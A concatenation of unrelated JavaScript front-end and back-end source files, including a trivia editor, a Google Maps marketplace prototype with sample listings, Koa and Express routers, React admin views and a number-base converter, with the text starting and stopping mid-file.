body: requestBody
})
.then(() => {
// Delete question from display container (front end)
$(`#${questionId}`).remove();
})
.catch(err => console.error('Error:', err));
});
// Clicking save button saves the new question title to the database and updates in DOM
questionButtons.children('.saveButton').click(event => {
const questionId = $(event.target).parents('.questionContainer').attr('id');
const updatedText = $(event.target).parent().siblings('input').val();
const requestBody = JSON.stringify({
_id: questionId,
question: updatedText
});
// Update question text on back end
fetch('/updateQText', {
method: 'POST',
headers: { 'Content-Type' : 'application/json' },
body: requestBody
})
.then(() => {
// Remove input field and replace with updated question text
$(event.target).parent().siblings('input').remove();
const questionTitle = $('<div>').addClass('questionTitle').text(updatedText);
$(event.target).parent().before(questionTitle);
// Show edit and delete buttons
// Hide save and cancel
$(event.target).hide();
$(event.target).siblings('.cancelButton').hide();
$(event.target).siblings('.editButton').show();
$(event.target).siblings('.deleteButton').show();
})
.catch(err => console.error('Error:', err));
});
// Clicking cancel button eliminates changes that the user makes
questionButtons.children('.cancelButton').click(event => {
// Save value of input field
const inputField = $(event.target).parent().siblings('input');
const inputFieldVal = inputField.attr('value');
// Delete input field from DOM
inputField.remove();
// Put question title back
const questionTitle = $('<div>').addClass('questionTitle').text(inputFieldVal);
$(event.target).parent().before(questionTitle);
$(event.target).hide();
$(event.target).siblings('.saveButton').hide();
$(event.target).siblings('.editButton').show();
$(event.target).siblings('.deleteButton').show();
});
// Hide save and cancel buttons when first displaying a trivia question
questionButtons.children('.saveButton').hide();
questionButtons.children('.cancelButton').hide();
// Appending question title and question buttons (container) to the question header div
questionHeader.append(categoryName, questionTitle, questionButtons);
// Creates a container div for answer options
const answerContainer = $('<div>').addClass('answerContainer');
const answerList = $('<ol type="A">');
answerContainer.append(answerList);
triviaQuestion.answerOptions.forEach((answer, index) => {
const newAnswer = $(`<li>${answer}</li>`);
if (triviaQuestion.correctAnswerIndex === index) newAnswer.css('font-weight', 'bold');
answerList.append(newAnswer);
});
// Appends header and answers to question container
questionContainer.append(questionHeader, answerContainer);
// Appends question containers to the display container
$('#displayContainer').append(questionContainer);
};
// Display a single answer option input field when user is creating a question
const displayAnswerOptionInput = () => {
const answerLine = $('<li class="answerLine">');
answerLine.append('<input class="answerInputField" type="text"> ',
'<label><input type="radio" name="answerOption"><em> Correct Answer</em></label> ',
'<button class="addOptionButton">Add</button>',
'<button class="deleteOptionButton">Delete</button>'
);
// Bind add and delete event handlers
// Add option handler
answerLine.children('.addOptionButton').click(event => {
const answerInputField = $(event.target).siblings('.answerInputField');
const answerInputText = answerInputField.val();
// 1) Remove input field, replace with saved text from input field
answerInputField.remove();
const optionText = $(`<span class="answerOption">${answerInputText}</span>`);
$(event.target).parent().prepend(optionText);
// 2) Hide add button, show delete button
$(event.target).hide();
$(event.target).siblings('.deleteOptionButton').show();
displayAnswerOptionInput();
});
// Delete option handler
answerLine.children('.deleteOptionButton').click(event => {
$(event.target).parent().remove();
});
// Hide delete button on display
answerLine.children('.deleteOptionButton').hide();
// Append new answer line to the ordered list of answer options
$('#createAnswerOptions').append(answerLine);
};
// -------END HELPER FUNCTIONS - MAIN FUNCTIONALITY BEGINS HERE-------------
// Populate the create questions container with first answer option
displayAnswerOptionInput();
// Bind event handler to submit button in create questions container
$('#submitButton').click(event => {
// Populate a request body object with data for creating a new question in database
const answerOptions = [];
$('.answerOption').each(function() {
answerOptions.push($(this).text());
});
const radioButtons = $('input[name="answerOption"]');
const correctAnswerIndex = radioButtons.index($('input:checked'));
console.log(radioButtons.length);
if (correctAnswerIndex === -1 || correctAnswerIndex >= radioButtons.length - 1) {
alert('Must indicate a correct answer first!');
return;
}
// Generate request body for fetch
const requestBody = {
answerOptions,
correctAnswerIndex,
category: $('#categoryInput').val(),
question: $('#questionInput').val()
};
// On back end, create a new question in database containing data from input fields
fetch('/addQ', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type' : 'application/json' },
body: JSON.stringify(requestBody)
})
.then(res => res.json())
// On front end, the newly created question should appear on the DOM
.then(createdQuestion => displayQuestion(createdQuestion))
.then(() => {
// Clear input fields
$('#categoryInput').val('');
$('#questionInput').val('');
$('#createAnswerOptions').empty();
displayAnswerOptionInput();
})
.catch(err => console.error('Error:', err));
});
// Get the user's questions from the database
fetch('/getUserQ', {
method: 'GET',
credentials: 'include'
})
.then(res => res.json())
.then(triviaQuestions => triviaQuestions.forEach(triviaQuestion => {
displayQuestion(triviaQuestion);
}))
.catch(err => console.error('Error:', err));
}); |
import React from 'react';
import { useState, useEffect } from 'react';
import { Link } from 'react-router-dom';
import axios from 'axios';
const Moon = () => {
const [moon, setMoon] = useState('');
const url = 'https://api.kanye.rest';
useEffect(() => {
axios.get(url)
.then((res) => {
console.log(res.data.quote)
setMoon(res.data.quote)
})
.then(() => console.error)
}, [])
return (
<div className='moon' >
<div className='ye'>
{moon}
</div>
<iframe width="0" height="0" src="https://www.youtube.com/embed/fMjasXiIhiQ?autoplay=1" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
{/* <audio src="https://youtu.be/fMjasXiIhiQ"></audio> */}
</div>
);
};
export default Moon; |
import React, { useState } from "react";
import Home from './views/HomeView/Home'
import Apod from './views/OthersViews/Apod'
import TechTranfer from './views/OthersViews/TechTranfer'
import "./styles/App.css";
function App() {
//this slice of state will help to mount and unmount components
const [view, setView] = useState('HOME')
return (
<div className="App">
{ view === 'HOME' && <Home view={view} setView={setView} /> }
{ view === 'APOD' && <Apod setView={setView} /> }
{ view === 'TechTranfer' && <TechTranfer setView={setView} /> }
</div>
);
}
export default App;
|
/* requires jQuery */
/* created by Ethan Cheung, ethancheung2013@gmail.com, July 26, 2012 */
/* define the app object */
var app = {
model: {
map: null, /* reference the Google map */
markerBounds: null, /* bounderies of visible markers*/
markerCacheList: [],
user: {
name: "Tony Wu",
contact: "tonycwu@yahoo.com"
},
searchResults: [],
items:[
{
"name": "Mr. Clean 441382, Deluxe Corn Broom",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Home, Garden & Tools",
"sellerName": "Walmart",
"contact": "",
"price": 15.23,
"isVendor": true,
"picture": "images/items/mrclean.jpg"
},
{
"name": "Libman Precision Angle Broom with Dustpan",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Home, Garden & Tools",
"sellerName": "Walmart",
"contact": "",
"price": 18.13,
"isVendor": true,
"picture": "images/items/libman.jpg"
},
{
"name": "DVI Gear HDMI Cable 2M (6 Feet)",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 1.62,
"isVendor": true,
"picture": "images/items/dvi_hdmi.jpg"
},
{
"name": "BlueRigger High Speed HDMI Cable with Ethernet 6.6 Feet (2m)",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 4.55,
"isVendor": true,
"picture": "images/items/blue_rigger_hdmi.jpg"
},
{
"name": "Monster Cable Ultimate High Speed Hdmi 1000 HDX 4ft - THX Certified",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 29.95,
"isVendor": true,
"picture": "images/items/monster_hdmi.jpg"
},
{
"name": "Monster Cable THX 1000 HDX-8 Ultimate High Speed Hdmi - THX Certified (8 feet)",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 39.95,
"isVendor": true,
"picture": "images/items/monster_hdmi8.jpg"
},
{
"name": "Home Basix 2026 Household Angle Broom",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 12.99,
"isVendor": true,
"picture": "images/items/home_basix.jpg"
},
{
"name": "BISSELL Smart Details Polished Floor Broom",
"desc": "",
"gps": {
"lat": 34.030469,
"lng": -118.335457
},
"category": "Electronics & Computers",
"sellerName": "Walmart",
"contact": "",
"price": 23.39,
"isVendor": true,
"picture": "images/items/bissel.jpg"
},
{
"name": "Monster Cable THX 1000 HDX-8 Ultimate High Speed Hdmi - THX Certified (8 feet)",
"desc": "",
"gps": {
"lat": 40.030469,
"lng": -119.335457
},
"category": "Electronics & Computers",
"sellerName": "Best Buy",
"contact": "",
"price": 38.21,
"isVendor": true,
"picture": "images/items/monster_hdmi8.jpg"
},
{
"name": "Monster Cable Ultimate High Speed Hdmi 1000 HDX 4ft - THX Certified",
"desc": "",
"gps": {
"lat": 40.030469,
"lng": -119.335457
},
"category": "Electronics & Computers",
"sellerName": "Best Buy",
"contact": "",
"price": 35.01,
"isVendor": true,
"picture": "images/items/monster_hdmi.jpg"
},
{
"name": "Mr. Clean 441382, Deluxe Corn Broom",
"desc": "",
"gps": {
"lat": 33.030469,
"lng": -117.535457
},
"category": "Home, Garden & Tools",
"sellerName": "CVS",
"contact": "",
"price": 13.52,
"isVendor": true,
"picture": "images/items/mrclean.jpg"
},
{
"name": "Libman Precision Angle Broom with Dustpan",
"desc": "",
"gps": {
"lat": 33.030469,
"lng": -117.535457
},
"category": "Home, Garden & Tools",
"sellerName": "CVS",
"contact": "",
"price": 21.32,
"isVendor": true,
"picture": "images/items/libman.jpg"
},
{
"name": "Ferrite Cores HDMI Cable",
"desc": "",
"gps": {
"lat": 40.030469,
"lng": -119.335457
},
"category": "Electronics & Computers",
"sellerName": "Best Buy",
"contact": "",
"price": 4.95,
"isVendor": true,
"picture": "images/items/ferrite.jpg"
},
{
"name": "Used Lost Mayhem Subdriver 5'11 Surfboard",
"desc": "The model was developed by Kolohe Andino asking Matt to make something that was between a Driver and a Sub Scorcher and the result is a board that has been ridden from knee high Southern California through to fun sized Indo. The Sub Driver has more nose rocker and less tail rocker (with no vee) than the sub scorcher and is a great all round small to mid sized wave board",
"gps": {
"lat": 33.99422,
"lng": -118.441973
},
"category": "Sports & Outdoors",
"sellerName": "Rider Shack",
"contact": "",
"price": 625,
"isVendor": true,
"picture": "images/items/mayhem.jpg"
},
{
"name": "Used Lost Mayhem Subdriver 5'11 Surfboard",
"desc": "The model was developed by Kolohe Andino asking Matt to make something that was between a Driver and a Sub Scorcher and the result is a board that has been ridden from knee high Southern California through to fun sized Indo. The Sub Driver has more nose rocker and less tail rocker (with no vee) than the sub scorcher and is a great all round small to mid sized wave board",
"gps": {
"lat": 35.321,
"lng": -118.013
},
"category": "Sports & Outdoors",
"sellerName": "The Surf Shop",
"contact": "",
"price": 600,
"isVendor": true,
"picture": "images/items/mayhem.jpg"
},
{
"name": "Used Lost Mayhem Subdriver 5'11 Surfboard",
"desc": "Used Lost Subdriver. A couple repaired dings. Some yellowing. Good condition overall.",
"gps": {
"lat": 32.321,
"lng": -117.013
},
"category": "Sports & Outdoors",
"sellerName": "John Smith",
"contact": "john.smith@email.com",
"price": 250,
"isVendor": false,
"picture": "images/items/mayhem.jpg"
},
{
"name": "Used Lost Mayhem Subdriver 5'11 Surfboard",
"desc": "Used Lost Subdriver. One professionally repaired ding, otherwise in great condition.",
"gps": {
"lat": 34.2331,
"lng": -118.231
},
"category": "Sports & Outdoors",
"sellerName": "Jane Doe",
"contact": "jane.doe@email.com",
"price": 300,
"isVendor": false,
"picture": "images/items/mayhem.jpg"
}
]
},
/* ========================================================= */
addItem: function(item) {
item.id = app.model.items.length;
app.model.items.push(item);
app.addItemMarker(item);
},
search: function(query) {
//== remove all previous search results
app.model.searchResults.length = 0;
query.category = query.category.toLowerCase();
query.searchText = query.searchText.toLowerCase();
for(var i=0, count=app.model.items.length; i<count; i++) {
var isMatch = true;
var item = app.model.items[i];
//== check name and desc
if(query.searchText!='' && item.name.toLowerCase().indexOf(query.searchText)==-1 && item.desc.toLowerCase().indexOf(query.searchText)==-1) {
isMatch = false;
}
//== check category
if(isMatch && query.category!='' ) {
if(query.category.toLowerCase() != item.category.toLowerCase()) {
isMatch = false;
}
}
if(isMatch) app.model.searchResults.push(item);
}
app.mapItems();
},
findMarker: function(position) {
var marker = null;
for (var i=0, count=app.model.searchResults.length; i<count; i++) {
if(app.model.searchResults[i].marker) {
var latlng = app.model.searchResults[i].marker.getPosition();
if(latlng.lat() == position.lat() && latlng.lng() == position.lng()) {
marker = app.model.searchResults[i].marker;
break;
}
}
}
return marker;
},
getMarkerInfo: function(marker) {
var html = '';
var list = new Array();
var position = marker.getPosition();
//html += '<ul data-role="listview">';
for (index in app.model.searchResults) {
var item = app.model.searchResults[index];
if(item.marker) {
var latlng = item.marker.getPosition();
if(latlng.lat() == position.lat() && latlng.lng() == position.lng()) { //== it's the same marker
/* we want to generate a jQuery Mobile List view like below
<ul data-role="listview">
<li><a href="index.html">
<img src="images/album-bb.jpg" />
<h3>Broken Bells</h3>
<p>Broken Bells</p>
</a></li>
...
</ul>
*/
html += '<img src="' + item.picture + '" style="float:left;max-height:100px;height:auto;max-width:100px;"/>';
html += '<a href="#itemdetail">';
html += '<b>$' + item.price + ' - ' + item.name + '</b>';
html += '</a><p>';
html += 'Seller: ' + item.sellerName + '<br/>';
html += item.desc + '</p>';
//html += '</li>';
}
}
//app.model.map.setCenter(latlng, 11);
}
//html + '</ul>';
return html;
},
addItemMarker: function(item) {
if(item.marker) {
item.marker.setVisible(true);
} else {
//== check if another marker already at the EXACT position, if so, assume it's from the same seller
var latlng = new google.maps.LatLng(item.gps.lat, item.gps.lng);
var marker = app.findMarker(latlng);
if(marker==null) {
marker = new google.maps.Marker({
position: latlng,
map: app.model.map,
title: item.name + ', ' + item.desc
});
google.maps.event.addListener(marker, "click", function() {
var html = '<p class="infoWindow">' + app.getMarkerInfo(this) + '</p>';
var infowindow = new google.maps.InfoWindow(
{ content: html,
size: new google.maps.Size(150,50)
});
infowindow.open(app.model.map,this);
$('p .infoWindow').trigger('create');
});
}
item.marker = marker;
marker.setVisible(true);
}
app.model.markerBounds.extend(item.marker.getPosition());
},
mapItems: function() {
app.model.markerCacheList.length = 0;
//== hide all markers first
for(index in app.model.items) {
var item = app.model.items[index];
if(item.marker) {
item.marker.setVisible(false);
}
}
//== detect bounderies of all markers
app.model.markerBounds = new google.maps.LatLngBounds();
for (index in app.model.searchResults) {
var item = app.model.searchResults[index];
app.addItemMarker(item);
//app.model.map.setCenter(latlng, 11);
}
//== zoom to the marker bounds so all markers are viewable on same screen
app.model.map.fitBounds(app.model.markerBounds);
}
}
$(document).ready(function(e) {
initialize();
});
function initialize() {
var center = new google.maps.LatLng(33,-118);
var mapOptions = {
zoom: 4,
center: center,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var googleMap = new google.maps.Map(document.getElementById('map_canvas'), mapOptions);
app.model.map = googleMap;
//== since we don't have database, let's generate some unique ids for items
for (var i=0, count=app.model.items.length; i<count; i++) {
var item = app.model.items[i];
item.id = i; //== use the index as the id
}
setTimeout('doSearch()', 500);
/*
for (index in app.model.items) {
var item = app.model.items[index];
var latlng = new google.maps.LatLng(item.gps.lat, item.gps.lng);
var marker = new google.maps.Marker({
position: latlng,
map: map,
title: item.name + ', ' + item.desc
});
map.setCenter(latlng, 11);
}
*/
}
function doSearch() {
var sText = $('#searchText').val();
var sCategory = $('#searchCategory').val();
var query = {
searchText : sText ,
category : sCategory
};
app.search(query);
}
function postNewItem() {
var item = {
"name": $('#itemname').val(),
"desc": $('#itemdesc').val(),
"gps": {
"lat": 35.030469,
"lng": -120.335457
},
"category": $('#itemcategory').val(),
"sellerName": app.model.user.name,
"contact": app.model.user.contact,
"price": parseFloat($('#itemprice').val()),
"isVendor": false
};
app.addItem(item);
}
function showListView() {
var html = '';
html += '<ul data-role="listview">';
for (index in app.model.searchResults) {
var item = app.model.searchResults[index];
/* we want to generate a jQuery Mobile List view like below
<ul data-role="listview">
<li><a href="index.html">
<img src="images/album-bb.jpg" />
<h3>Broken Bells</h3>
<p>Broken Bells</p>
</a></li>
...
</ul>
*/
html += '<li><a href="#itemdetail">';
html += '<img src="' + item.picture + '"/>';
html += '<h3>$' + item.price + ' - ' + item.name + '</h3>';
html += '<p>';
html += 'Seller: ' + item.sellerName + '<br/>';
html += item.desc + '</p>';
html += '</a></li>';
//app.model.map.setCenter(latlng, 11);
}
html + '</ul>';
$('#listContentDiv').html(html);
$('#listContentDiv').trigger('create');
} |
const Router = require('koa-router');
const service = require('../service');
const router = new Router({ prefix: '/reservation' });
router.post('/', async (ctx, next) => {
try {
const reserv = await service.reservation.set(ctx.request.body, ctx.state.user._id);
ctx.status = 201;
ctx.body = reserv;
} catch(err) {
ctx.throw(422, err.message);
}
return next();
});
router.post('/block', async (ctx, next) => {
try {
const reserv = await service.reservation.block(ctx.request.body, ctx.state.user._id);
ctx.status = 201;
ctx.body = reserv;
} catch(err) {
ctx.throw(422, err.message);
}
return next();
});
router.post('/confirm', async (ctx, next) => {
try {
await service.reservation.confirm(ctx.request.body);
ctx.status = 204;
} catch(err) {
ctx.throw(401, err.message);
}
return next();
});
router.delete('/', async (ctx, next) => {
try {
const reserv = await service.reservation.deleteReservation(ctx.request.body);
ctx.status = 201;
ctx.body = reserv;
} catch(err) {
ctx.throw(401, err.message);
}
return next();
});
router.get('/my', async (ctx, next) => {
const reserv = await service.reservation.getUserRservetions(ctx.state.user._id);
ctx.body = reserv;
ctx.status = 200;
return next();
});
router.get('/', async (ctx, next) => {
const reserv = await service.reservation.getAll();
ctx.body = reserv;
ctx.status = 200;
return next();
});
module.exports = router;
|
$(function () {
//交易动态数据滚动
var lists = $("#lists1");
var count = lists.children().length;
if (count > 5) {
setInterval(function () {
var listAll = lists.children();
var last = $(listAll[listAll.length - 1]);
var first = $(listAll[0]);
first.slideDown("slow");
first.addClass('b_b_c');
first.next().removeClass('b_b_c');
setTimeout(function () {
last.remove();
last.css({ display: 'none' });
last.prependTo(lists);
}, 1000);
}, 6000);
}
}); |
import React, { useState, useEffect, Fragment } from 'react';
import { useSelector, useDispatch } from 'react-redux';
import _ from 'lodash';
import { Breadcrumb, Modal } from 'react-bootstrap';
import { manageProfession } from './manage-profession-action';
import { manageProfessionFilters } from './manage-profession-constants';
import CloseIconBlue from '../../../images/icons/closeIconBlue.svg';
import EditIconBlack from '../../../images/icons/editIconBlack.svg';
import CloseIconWhite from '../../../images/icons/closeIconWhite.svg';
import Header from '../../components/header';
import SideBar from '../../components/side-bar';
import SidebarIcon from '../../components/sidebar-icon';
import Footer from '../../components/footer';
import EditProfession from '../../components/edit-profession';
import DataTable from '../../components/data-table';
const ManageProfession = () => {
const [name, setName] = useState('');
const [status, setStatus] = useState('');
const [applyFilter, setApplyFilter] = useState(false);
const [filterParams, setFilterParams] = useState([]);
const [addFiled, setAddFiled] = useState([manageProfessionFilters[0].name]);
const [isSearch, setIsSearch] = useState(false);
const [currentPageNumber, setCurrentPageNumber] = useState(1);
const [currentPageSize, setCurrentPageSize] = useState(10);
const [filterPopup, setFilterPopup] = useState(false);
const [editProfessionPopup, setEditProfessionPopup] = useState(false);
const [show, setShow] = useState(false);
const [downloadcvv, setDownloadcvv] = useState(false);
const [editProfessionDetails, setEditProfessionDetails] = useState({
concurrencyStamp: '',
name: '',
publicId: '',
status: true,
});
const { professionDetails, totalRecords, isFetching } = useSelector(
(state) => state.manageProfession
);
const professionDetailsList =
professionDetails &&
professionDetails.map((profession, index) => {
const id = index + 1;
return {
id,
...profession,
};
});
const filterChangeHandler = (filterName, filterValue) => {
if (filterName === 'Name Of Profession') {
setName(filterValue);
} else if (filterName === 'Status') {
setStatus(filterValue);
}
};
// eslint-disable-next-line consistent-return
const getFilterState = (filterName) => {
if (filterName === 'Name Of Profession') {
return name;
} else if (filterName === 'Status') {
return status;
}
};
const dispatch = useDispatch();
const getProfessionData = (urlParams) => {
manageProfession(urlParams, dispatch);
};
useEffect(() => {
const urlParams = {
pageNumber: currentPageNumber,
pageSize: currentPageSize,
};
getProfessionData(urlParams);
}, []);
// Functions will be receiving params: cell, row, rowIdx.
function professionLogo(cell, row) {
if (cell) {
return (
<Fragment>
<img
alt="profession-logo"
style={{ height: '25px', width: '25px' }}
src={row.iconUrl}
/>
<label style={{ marginLeft: '10px' }}>{cell}</label>
</Fragment>
);
}
return '-';
}
function buttonFormatter(cell) {
if (cell === 'active') {
return <label className="label-status-paid">{cell}</label>;
} else if (cell === 'inactive') {
return <label className="status-unpaid">{cell}</label>;
}
return '-';
}
function editIcon() {
const handleEditProfessionPopup = () => setEditProfessionPopup(true);
return (
<img
alt="action-icon"
style={{ cursor: 'pointer' }}
onClick={handleEditProfessionPopup}
src={EditIconBlack}
/>
);
}
const handleFilterPopup = () => {
setFilterPopup(true);
setApplyFilter(false);
};
const handleDownloadcvvPopup = () => setDownloadcvv(!downloadcvv);
const closeFilterCallBack = () => {
setFilterPopup(false);
setDownloadcvv(false);
if (name || status) {
setApplyFilter(true);
}
};
const handleApplyFilter = () => {
closeFilterCallBack();
let urlParams;
const arrValues = [];
if (name) {
if (name) {
urlParams = {
'filters[1][ilike]': name,
'filters[1][key]': 'name',
};
arrValues.push({
'filters[1][ilike]': name,
'filters[1][key]': 'name',
name: 'Name Of Profession',
});
setFilterParams(arrValues);
}
if (status) {
urlParams = {
...urlParams,
'filters[1][eq]': status,
'filters[1][key]': 'status',
};
arrValues.push({
'filters[1][eq]': status,
'filters[1][key]': 'status',
name: 'Status',
});
setFilterParams(arrValues);
}
getProfessionData({
...urlParams,
pageNumber: currentPageNumber,
pageSize: currentPageSize,
});
setApplyFilter(true);
}
};
const clearFilterValues = () => {
setName('');
setStatus('');
};
const addClassCallBack = () => {
setShow(!show);
};
const removeFilterChips = (params, fieldName) => {
const fieldsArr = addFiled;
fieldsArr.pop();
setAddFiled(fieldsArr);
params.forEach((element, index) => {
if (element.name === fieldName) {
params.splice(index, 1);
}
});
setFilterParams(params);
};
const updateFilterInput = (filterName) => {
const params = filterParams;
let newObj = {};
if (filterName === 'Name Of Profession') {
setName('');
removeFilterChips(params, 'Name Of Profession');
}
if (filterName === 'Status') {
setStatus('');
removeFilterChips(params, 'Status');
}
params.forEach((el) => {
newObj = Object.assign(newObj, el);
});
const urlParams = _.omit(newObj, 'name');
getProfessionData({
...urlParams,
pageNumber: currentPageNumber,
pageSize: currentPageSize,
});
};
const createCustomToolBar = (props) => {
return (
<div>
{props.components.searchPanel}
{applyFilter && (
<div className="common-table-chips-section">
{name && (
<div className="common-table-chips">
<div className="chips-text">
<label>Name Of Profession:</label>
<span> {` '${name}'`}</span>
</div>
<div className="chips-clear">
<span>
<img
onClick={() => updateFilterInput('Name Of Profession')}
src={CloseIconBlue}
/>
</span>
</div>
</div>
)}
{status && (
<div className="common-table-chips">
<div className="chips-text">
<label>Status:</label>
<span> {` '${status}'`}</span>
</div>
<div className="chips-clear">
<span>
<img
onClick={() => updateFilterInput('Status')}
src={CloseIconBlue}
/>
</span>
</div>
</div>
)}
</div>
)}
</div>
);
};
const tableHeaderData = [
{
columnClassName: 'col-grey',
dataField: 'id',
dataFormat: (cell) => cell,
dataSort: false,
isKey: true,
name: '#',
width: '180',
},
{
columnClassName: '',
dataField: 'name',
dataFormat: professionLogo,
dataSort: true,
isKey: false,
name: 'Name Of Profession',
width: '600',
},
{
columnClassName: '',
dataField: 'status',
dataFormat: buttonFormatter,
dataSort: true,
isKey: false,
name: 'Status',
width: '300',
},
{
columnClassName: '',
dataField: 'action',
dataFormat: editIcon,
dataSort: false,
isKey: false,
name: 'Action',
width: '180',
},
];
return (
<div>
<Header />
<div className="common-container">
{filterPopup || downloadcvv ? (
<div className="common-overlay" onClick={closeFilterCallBack}></div>
) : null}
<SidebarIcon addClassCallBack={addClassCallBack} show={show} />
<div className={`common-wrapper ${show ? 'active' : ''} `}>
<div className="col-md-12 mpad">
<div className="common-heading">
<h1>Manage Profession</h1>
<Breadcrumb>
<Breadcrumb.Item href="/dashboard">Home</Breadcrumb.Item>
<Breadcrumb.Item active>Settings</Breadcrumb.Item>
<Breadcrumb.Item active>Manage Profession</Breadcrumb.Item>
</Breadcrumb>
</div>
</div>
<div className="loan-container mar0 ">
<DataTable
tableData={professionDetailsList}
tableHeaderData={tableHeaderData}
totalRecords={totalRecords}
isFetching={isFetching}
isSearch={isSearch}
setIsSearch={setIsSearch}
currentPageNumber={currentPageNumber}
setCurrentPageNumber={setCurrentPageNumber}
currentPageSize={currentPageSize}
setCurrentPageSize={setCurrentPageSize}
getTableData={getProfessionData}
createCustomToolBar={createCustomToolBar}
tableTitle=""
toggleDownloadFilesPopup={handleDownloadcvvPopup}
toggleFilterPopup={handleFilterPopup}
filterPopup={filterPopup}
filterPopupClass="common-table-filter-popup"
pageFilters={manageProfessionFilters}
handleApplyFilter={handleApplyFilter}
closeFilterCallBack={closeFilterCallBack}
clearFilterValues={clearFilterValues}
getFilterState={getFilterState}
filterChangeHandler={filterChangeHandler}
addFiled={addFiled}
setAddFiled={setAddFiled}
downloadPopupClass="manage-download-popup"
downloadcvv={downloadcvv}
setDownloadcvv={setDownloadcvv}
exportUrl="emi"
filterParams={filterParams}
/>
</div>
</div>
<Footer show={show} />
<div className={`common-side-bar ${show ? 'active' : ''} `}>
<SideBar addClassCallBack={addClassCallBack} show={show} />
</div>
</div>
{/* Edit profession Modal */}
<Modal
show={editProfessionPopup}
onHide={() => setEditProfessionPopup(false)}
animation={false}
className="edit-reason-popup"
>
<div className="common-image">
<div
className="common-img"
onClick={() => setEditProfessionPopup(false)}
>
<img alt="close-icon-gray" src={CloseIconWhite} />
</div>
</div>
<Modal.Body>
<EditProfession
closeEditProfessionPopup={() => setEditProfessionPopup(false)}
editProfessionDetails={editProfessionDetails}
setEditProfessionDetails={setEditProfessionDetails}
/>
</Modal.Body>
</Modal>
</div>
);
};
export default ManageProfession;
|
export const COLUMN_DEBIT_NOTE_ITEMS = [
{
header: "DN Item No.",
data: "externalId",
targets: [0],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "Invoice Item No.",
data: "invoiceItemExternalId",
targets: [1],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "Material Description",
data: "materialDescription",
targets: [2],
width: "300px",
orderable: true,
className: "text-center"
},
{
header: "PO No.",
data: "purchaseOrderExternalId",
targets: [3],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "Invoice Amount",
data: "invoiceAmount",
targets: [4],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "DN Amount",
data: "subTotal",
targets: [5],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "Currency",
data: "currency",
targets: [6],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "Site",
data: "site",
targets: [7],
width: "80px",
orderable: true,
className: "text-center"
},
{
header: "WHT Rate",
data: "withholdingTaxRate",
targets: [8],
width: "80px",
orderable: true,
className: "text-center"
}
];
|
const express = require('express');
const router = express.Router();
const mongoose = require('mongoose');
const bcrypt = require('bcrypt');
const jwt = require('jsonwebtoken');
const checkAuth = require('../middleware/check-auth');
const User = require('../../models/user');
exports.users_get_all = (req, res, next) => {
User.find()
.select('_id name email status')
.exec()
.then(results => {
console.log("Results from database", results);
const response = {
count: results.length,
users: results.map(result => {
return {
_id : result._id,
login : result.email,
name : result.name,
status : result.status,
request : {
type: 'GET',
url: req.protocol + '://' + req.get('host') + req.originalUrl + result._id
}
}
})
};
res.status(200).json(response);
})
.catch(err => {
console.log(err);
res.status(500).json({
error: err
});
});
}
exports.user_get_by_id = (req, res, next) => {
const id = req.params.id;
User.findById(id)
.select('_id name email status')
.exec()
.then(result => {
console.log("Result from database", result);
if (result) {
res.status(200).json({
user: result,
request: {
type: 'GET',
description: 'GET_ALL_USERS',
url: req.protocol + '://' + req.get('host') + req.originalUrl.slice(0, req.originalUrl.lastIndexOf('/'))
}
});
} else {
res.status(404).json({message: "No valid entry found for provided ID"})
}
})
.catch(err => {
console.log(err);
res.status(500).json({error: err});
});
}
exports.user_delete_by_id = (req, res, next) => {
const id = req.params.id;
User.remove({ _id: id })
.exec()
.then(result => {
res.status(200).json({
message: 'User deleted',
request: {
type: 'POST',
url: req.protocol + '://' + req.get('host') + req.originalUrl.slice(0, req.originalUrl.lastIndexOf('/')),
body: { name: 'String', age: 'Number' }
}
});
})
.catch(err => {
console.log(err);
res.status(500).json({
error: err
});
});
}
|
// pages/demo03/demo03.js
import * as data from '../../lib/data'
Page({
/**
* 页面的初始数据
*/
data: {
ASCIIshow: data.ASCIIshow,
decimal: '',
hexadecimal: '',
eightadecimal: '',
twoadecimal: '',
ASCIInum: '',
ASCIInum_show: '这里显示字符含义',
},
mytoString: function (N, op) {
if (N == '') return '';
return N.toString(op);
},
myparseInt: function (S, op) {
if (S == '') return '';
var timp = parseInt(S, op);
if (isNaN(timp))return '';
else return timp;
},
KeyInput: function (e) {
//console.log(e)
if(e.currentTarget.id === '10'){ //10->>2 8 16
this.data.decimal= e.detail.value;
var timp = this.data.decimal;
this.data.hexadecimal = this.mytoString((timp * 1.0),16);
this.data.eightadecimal = this.mytoString((timp * 1.0), 8);
this.data.twoadecimal = this.mytoString((timp * 1.0), 2);
this.data.ASCIInum = String.fromCharCode(timp) == String.fromCharCode('') ? '' : String.fromCharCode(timp);
}
if (e.currentTarget.id === '2') { //2->>10 8 16
this.data.twoadecimal= e.detail.value;
var timp = this.data.twoadecimal;
this.data.decimal = this.myparseInt(this.mytoString(timp), 2);
timp = this.data.decimal;
this.data.eightadecimal = this.mytoString((timp * 1.0), 8);
this.data.hexadecimal = this.mytoString((timp * 1.0), 16);
this.data.ASCIInum = String.fromCharCode(timp) == String.fromCharCode('') ? '' : String.fromCharCode(timp);
}
if (e.currentTarget.id === '8') { //8->>10 2 16
